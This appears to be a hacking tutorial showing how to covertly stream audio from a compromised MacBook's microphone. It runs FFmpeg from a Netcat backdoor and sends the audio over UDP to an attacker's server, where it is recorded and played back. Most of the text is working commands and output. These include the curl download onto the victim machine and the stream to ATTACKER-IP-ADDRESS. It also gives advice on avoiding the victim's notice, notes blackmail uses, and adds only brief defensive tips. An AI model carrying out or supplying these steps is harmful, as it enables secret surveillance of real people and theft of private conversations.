Google, Amazon, and Facebook are always listening. But what's worse? Hackers are listening, too. Windows PCs are particularly vulnerable, but with a few simple commands, a remote attacker can even take over the microphone on someone's Mac computer, streaming audio and listening to private conversations in real time without the victim's knowledge, abusing an overlooked security consideration.
After an attacker has established a backdoor on a vulnerable MacBook or compromised the device remotely using a fake PDF, they can use modern post-exploitation frameworks like Empire or Metasploit to execute a variety of different attacks. This time, I'll show a stealthier method of listening to audio using the victim's microphone by utilizing an application called FFmpeg.
- Don't Miss: How to Configure a Backdoor on Anyone's MacBook
FFmpeg is a multimedia framework able to decode, encode, transcode, convert, stream, and play most formats on Windows, macOS, and Unix-based distributions.
This tool will be installed on both the backdoored MacBook and the attacker's Kali system. A listening server will be hosted on the attacker's side, and audio will be sent from the victim's MacBook to the attacker's system. The attacker will then be able to tap into the stream created by FFmpeg and hear everything in the surrounding area of the compromised MacBook.
Overheard information may include private conversations where a victim divulges a password or secret to someone in the room, personal information shared during phone calls, or conversations which can be later used for blackmail. This information is highly valuable to a remote attacker looking to further exploit the victim's personal and digital life, associates and family, and work colleagues.
On the attacker's Kali Linux system, FFmpeg can be installed using the apt-get install ffmpeg command, as seen below.
apt-get install ffmpeg Reading package lists... Done Building dependency tree Reading state information... Done Suggested packages: ffmpeg-doc The following packages will be upgraded: ffmpeg 1 upgraded, 0 newly installed, 0 to remove and 596 not upgraded. Need to get 1,622 kB of archives. After this operation, 0 B of additional disk space will be used. Get:1 [http://archive-3.kali.org/kali ] kali-rolling/main amd64 ffmpeg amd64 7:3.4.2-2+b1 1,622 kB Fetched 1,622 kB in 3s (540.9 kB/s) Reading changelogs... Done (Reading database ... 312014 files and directories currently installed.) Preparing to unpack .../ffmpeg_7%3a3.4.2-2+b1_amd64.deb ... Unpacking ffmpeg (7:3.4.2-2+b1) over (7:3.4.2-1+b1) ... Setting up ffmpeg (7:3.4.2-2+b1) ... Processing triggers for man-db (2.8.2-1) ...
To receive an incoming audio stream, FFmpeg will need to be configured on the attacker's system. The below command can be used to start FFmpeg.
ffmpeg -i udp://0.0.0.0:9999 /tmp/outputFile.mp3
This command will instruct FFmpeg to open UDP port (udp://) 9999 and accept input (-i) on every available interface (0.0.0.0). It will then save the audio stream to the /tmp directory in MP3 format with the filename outputFile.mp3. The port number (9999), save directory (/tmp), and output filename can, of course, be changed as needed. For this demonstration, I'm using easy-to-remember values.
That's it for setting up FFmpeg on the attacker's system. Next, I'll show how to configure FFmpeg on the backdoored MacBook.
FFmpeg is capable of capturing audio through Apple's AVFoundation, a fully featured framework for working with media on iOS, macOS, and watchOS. Using AVFoundation, users can play, create, and edit media files, as well as build powerful media functionality into applications.
From the Netcat backdoor on the MacBook, use cURL to download FFmpeg and save the ZIP to the /tmp directory. This can be done using the below command. To avoid arousing suspicion in the victim user, a directory other than /tmp can be used on the target MacBook.
curl 'https://ffmpeg.zeranoe.com/builds/macos64/static/ffmpeg-4.0-macos64-static.zip' -o /tmp/ffmpeg.zip
When the download is complete, use the unzip /tmp/ffmpeg.zip command to extract the files, as seen below.
unzip /tmp/ffmpeg.zip Archive: ffmpeg.zip creating: ffmpeg-4.0-macos64-static/ creating: ffmpeg-4.0-macos64-static/bin/ inflating: ffmpeg-4.0-macos64-static/bin/ffmpeg inflating: ffmpeg-4.0-macos64-static/bin/ffplay inflating: ffmpeg-4.0-macos64-static/bin/ffprobe creating: ffmpeg-4.0-macos64-static/doc/ inflating: ffmpeg-4.0-macos64-static/doc/bootstrap.min.css inflating: ffmpeg-4.0-macos64-static/doc/default.css inflating: ffmpeg-4.0-macos64-static/doc/developer.html inflating: ffmpeg-4.0-macos64-static/doc/faq.html inflating: ffmpeg-4.0-macos64-static/doc/fate.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-all.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-bitstream-filters.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-codecs.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-devices.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-filters.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-formats.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-protocols.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-resampler.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-scaler.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg-utils.html inflating: ffmpeg-4.0-macos64-static/doc/ffmpeg.html inflating: ffmpeg-4.0-macos64-static/doc/ffplay-all.html inflating: ffmpeg-4.0-macos64-static/doc/ffplay.html inflating: ffmpeg-4.0-macos64-static/doc/ffprobe-all.html inflating: ffmpeg-4.0-macos64-static/doc/ffprobe.html inflating: ffmpeg-4.0-macos64-static/doc/general.html inflating: ffmpeg-4.0-macos64-static/doc/git-howto.html inflating: ffmpeg-4.0-macos64-static/doc/libavcodec.html inflating: ffmpeg-4.0-macos64-static/doc/libavdevice.html inflating: ffmpeg-4.0-macos64-static/doc/libavfilter.html inflating: ffmpeg-4.0-macos64-static/doc/libavformat.html inflating: ffmpeg-4.0-macos64-static/doc/libavutil.html inflating: ffmpeg-4.0-macos64-static/doc/libswresample.html inflating: ffmpeg-4.0-macos64-static/doc/libswscale.html inflating: ffmpeg-4.0-macos64-static/doc/mailing-list-faq.html inflating: ffmpeg-4.0-macos64-static/doc/nut.html inflating: ffmpeg-4.0-macos64-static/doc/platform.html inflating: ffmpeg-4.0-macos64-static/doc/style.min.css inflating: ffmpeg-4.0-macos64-static/LICENSE.txt creating: ffmpeg-4.0-macos64-static/presets/ inflating: ffmpeg-4.0-macos64-static/presets/ffprobe.xsd inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p.ffpreset inflating: ffmpeg-4.0-macos64-static/presets/libvpx-1080p50_60.ffpreset inflating: ffmpeg-4.0-macos64-static/presets/libvpx-360p.ffpreset inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p.ffpreset inflating: ffmpeg-4.0-macos64-static/presets/libvpx-720p50_60.ffpreset inflating: ffmpeg-4.0-macos64-static/README.txt
A new directory called "ffmpeg-4.0-macos64-static/" will be created. In this directory is a bin/ directory containing the ffmpeg binary. Change into the bin/ directory using the cd command.
Ensure the ffmpeg binary has permission to execute on the MacBook using the chmod command.
chmod 777 ffmpeg
Then, list the available input devices on the MacBook using the ./ffmpeg -f avfoundation -list_devices true -i "" command, as seen below.
./ffmpeg -f avfoundation -list_devices true -i "" AVFoundation input device @ 0x7fda1bc152c0 AVFoundation video devices: AVFoundation input device @ 0x7fda1bc152c0 0 FaceTime HD Camera (Built-in) AVFoundation input device @ 0x7fda1bc152c0 1 Capture screen 0 AVFoundation input device @ 0x7fda1bc152c0 AVFoundation audio devices: AVFoundation input device @ 0x7fda1bc152c0 0 USB Audio CODEC AVFoundation input device @ 0x7fda1bc152c0 1 Built-in Microphone
This command will force (-f) FFmpeg to use the AVFoundation format and list (-list_devices) all available input (-i "") devices in the MacBook. AVFoundation uses the convention "Video:Audio," so capturing audio using the built-in microphone would appear as ":1" in the next command because the microphone is assigned to the "1" audio device.
To capture audio using the built-in microphone, run the below command from a Netcat shell on the backdoored MacBook.
./ffmpeg -f avfoundation -i ":1" -f mp3 udp://ATTACKER-IP-ADDRESS:9999
Remember, the input source may appear as "0" or "2" on other MacBook devices. The force format (-f) is used again to specify the output format (MP3) and sends the audio stream to the attacker's UDP address on port 9999.
From the Netcat backdoor, the below output will continue to generate data pertaining to the data stream.
ffmpeg version 4.0 Copyright (c) 2000-2018 the FFmpeg developers built with Apple LLVM version 9.1.0 (clang-902.0.39.1) configuration: --enable-gpl --enable-version3 --enable-sdl2 --enable-bzlib --enable-fontconfig --enable-gnutls --enable-iconv --enable-libass --enable-libbluray --enable-libfreetype --enable-libmp3lame --enable-libopencore-amrnb --enable-libopencore-amrwb --enable-libopenjpeg --enable-libopus --enable-libshine --enable-libsnappy --enable-libsoxr --enable-libtheora --enable-libtwolame --enable-libvpx --enable-libwavpack --enable-libwebp --enable-libx264 --enable-libx265 --enable-libxml2 --enable-libzimg --enable-lzma --enable-zlib --enable-gmp --enable-libvidstab --enable-libvorbis --enable-libvo-amrwbenc --enable-libmysofa --enable-libspeex --enable-libxvid --enable-libaom --enable-appkit --enable-avfoundation --enable-coreimage --enable-audiotoolbox libavutil 56. 14.100 / 56. 14.100 libavcodec 58. 18.100 / 58. 18.100 libavformat 58. 12.100 / 58. 12.100 libavdevice 58. 3.100 / 58. 3.100 libavfilter 7. 16.100 / 7. 16.100 libswscale 5. 1.100 / 5. 1.100 libswresample 3. 1.100 / 3. 1.100 libpostproc 55. 1.100 / 55. 1.100 Input #0, avfoundation, from ':1': Duration: N/A, start: 68239.447483, bitrate: 2822 kb/s Stream #0:0: Audio: pcm_f32le, 44100 Hz, stereo, flt, 2822 kb/s Stream mapping: Stream #0:0 -> #0:0 (pcm_f32le (native) -> mp3 (libmp3lame)) Press q to stop, ? for help Output #0, mp3, to 'udp://ATTACKER-IP-ADDRESS:9999': Metadata: TSSE : Lavf58.12.100 Stream #0:0: Audio: mp3 (libmp3lame), 44100 Hz, stereo, fltp Metadata: encoder : Lavc58.18.100 libmp3lame ze= 2354kB time=00:02:30.62 bitrate= 128.0kbits/s speed=0.999x
Back on the attacker's server, the FFmpeg terminal will display audio data and begin saving the audio to the specified (/tmp) directory.
ffmpeg version 3.4.2-2+b1 Copyright (c) 2000-2018 the FFmpeg developers built with gcc 7 (Debian 7.3.0-16) libavutil 55. 78.100 / 55. 78.100 libavcodec 57.107.100 / 57.107.100 libavformat 57. 83.100 / 57. 83.100 libavdevice 57. 10.100 / 57. 10.100 libavfilter 6.107.100 / 6.107.100 libavresample 3. 7. 0 / 3. 7. 0 libswscale 4. 8.100 / 4. 8.100 libswresample 2. 9.100 / 2. 9.100 libpostproc 54. 7.100 / 54. 7.100 Input #0, mp3, from 'udp://0.0.0.0:9999': Metadata: encoder : Lavf58.12.100 Duration: N/A, start: 0.000000, bitrate: 128 kb/s Stream #0:0: Audio: mp3, 44100 Hz, stereo, s16p, 128 kb/s Stream mapping: Stream #0:0 -> #0:0 (mp3 (native) -> mp3 (libmp3lame)) Press q to stop, ? for help Output #0, mp3, to '/tmp/outputFile.mp3': Metadata: TSSE : Lavf57.83.100 Stream #0:0: Audio: mp3 (libmp3lame), 44100 Hz, stereo, s16p Metadata: encoder : Lavc57.107.100 libmp3lame mp3 @ 0x55ddc6449240 overread, skip -8 enddists: -4 -4 mp3 @ 0x55ddc6449240 overread, skip -9 enddists: -7 -7 mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -6 -6 mp3 @ 0x55ddc6449240 overread, skip -8 enddists: -5 -5 mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -1 -1 mp3 @ 0x55ddc6449240 overread, skip -5 enddists: -2 -2 ... mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -3 -3peed=0.997x mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -6 -6 mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -2 -2peed=0.996x mp3 @ 0x55ddc6449240 overread, skip -6 enddists: -5 -5peed=0.997x mp3 @ 0x55ddc6449240 overread, skip -6 enddists: -5 -5peed=0.994x mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -2 -2 mp3 @ 0x55ddc6449240 overread, skip -7 enddists: -3 -3 size= 2466kB time=00:02:37.78 bitrate= 128.0kbits/s speed=0.994x video:0kB audio:2466kB subtitle:0kB other streams:0kB global headers:0kB muxing overhead: 0.010020%
As long as the FFmpeg terminals are running on both machines, the MacBook microphone will continue to send and save audio to the attacker's server.
The final step is to tap into the audio stream. This can be done using MPV, a terminal-based application capable of playing audio from the command line. Use the apt-get install mpv command to install MPV in Kali.
apt-get install mpv Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: mpv 0 upgraded, 1 newly installed, 0 to remove and 596 not upgraded. Need to get 0 B/933 kB of archives. After this operation, 2,293 kB of additional disk space will be used. Selecting previously unselected package mpv. (Reading database ... 311978 files and directories currently installed.) Preparing to unpack .../mpv_0.27.2-1_amd64.deb ... Unpacking mpv (0.27.2-1) ... Setting up mpv (0.27.2-1) ...
Finally, use the mpv --keep-open=yes /tmp/outputFile.mp3 command to begin listening to the audio, as such:
mpv --keep-open=yes /tmp/outputFile.mp3 Playing: outputFile.mp3 (+) Audio --aid=1 (mp3) AO: pulse 44100Hz stereo 2ch s16 A: 00:01:54 / 00:02:37 (72%)
The --keep-open argument isn't required. It will keep the MPV command from closing in the event it reaches the end of the file.
As mentioned, FFmpeg will continue to write audio data to the outputFile.mp3. As MPV is playing audio in real time, it occasionally reaches the end of the file before FFmpeg can process the streaming the audio. This is similar to how YouTube videos need to buffer before they can be played. MPV can't play audio if FFmpeg isn't done processing it. I would recommend leaving a 5–10-second buffer in the MPV terminal for a seamless (nearly real time) streaming experience.
There's a good chance that antivirus software won't defend against such attacks, since FFmpeg isn't considered a malicious application and doesn't attempt to change any files on the computer or open ports.
Other than frequently checking for suspicious processes using top or ps, there's not a whole lot that can be done. In a future guide, I'll actually be showing how to hide such processes from active user detection, so those aren't surefire ways to detect abuse anyway.
A last-ditch way to protect yourself against eavesdroppers is to just disconnect the cable for the built-in microphone in the MacBook, iMac, or other Mac computer, then rely solely on third-party desktop microphones or headphones with built-in mics that you can easily disconnect when not in use. This will at least limit your exposure to possible eavesdropping attacks.
That's it for streaming audio from a backdoored MacBook using FFmpeg and MPV. In upcoming articles, I'll show how to dump Keychain passwords, capture keystrokes, hack iCloud passwords, and utilize many of the Empire and Metasploit post-exploitation modules to further hack MacOS devices.
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